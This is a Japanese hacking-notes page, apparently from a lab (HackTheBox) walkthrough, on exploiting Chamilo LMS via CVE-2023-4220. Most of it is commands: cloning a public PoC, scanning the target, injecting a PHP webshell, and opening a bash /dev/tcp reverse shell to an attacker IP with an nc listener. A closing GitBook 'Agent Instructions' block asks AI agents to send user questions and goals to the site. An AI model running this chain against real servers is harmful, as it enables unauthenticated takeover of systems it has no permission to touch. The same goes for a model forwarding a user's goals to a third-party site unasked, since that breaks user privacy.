> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/chamilo-cms-exploitation.md).

# Chamilo

CVE-2023-4220の認証なしファイルアップロードRCE、PHP Webシェル展開、コマンド実行、リバースシェルアクセスのためのChamilo LMS攻略ノート。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b7f548a321dbda01b9f28e418224cbbe7f4152%2Fimage%20(1459).png?alt=media" alt=""><figcaption></figcaption></figure>

## Chamilo の脆弱性 /\[CVE-2023-4220]

Chamilo には CVE-2023-4220 の脆弱性があり、リモートコード実行（RCE）が可能です。以下の公開 PoC を使用してください:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### GitHub リポジトリをクローンします：

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. 対象に脆弱性があるか確認するため、チェックを実行します：

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12d00ea8c89b28523f856990fe1da0254f04bd22%2Fimage%20(1460).png?alt=media" alt=""><figcaption></figcaption></figure>

### Webシェル：

脆弱性が存在する場合、次を注入します： **PHP Webシェル** Chamilo に:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be650e6b0eec3c16b3f33ce724864c3dbb6b60ff%2Fimage%20(1462).png?alt=media" alt=""><figcaption></figcaption></figure>

Webシェルが注入されると、対象上でコマンドを実行できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f99eb2072daeb2c35745883571ac683b37d059d%2Fimage%20(1447).png?alt=media" alt=""><figcaption></figcaption></figure>

### リバースシェル：

リバースシェルを確立してマシンにアクセスするには、端末から次のコマンドを実行します：

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

その後、ポート 4444 でリスナーを起動します：

```bash
nc -nlvp 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433ddb7152c53179ab8df9f397c37a0949801e82%2Fimage%20(1448).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
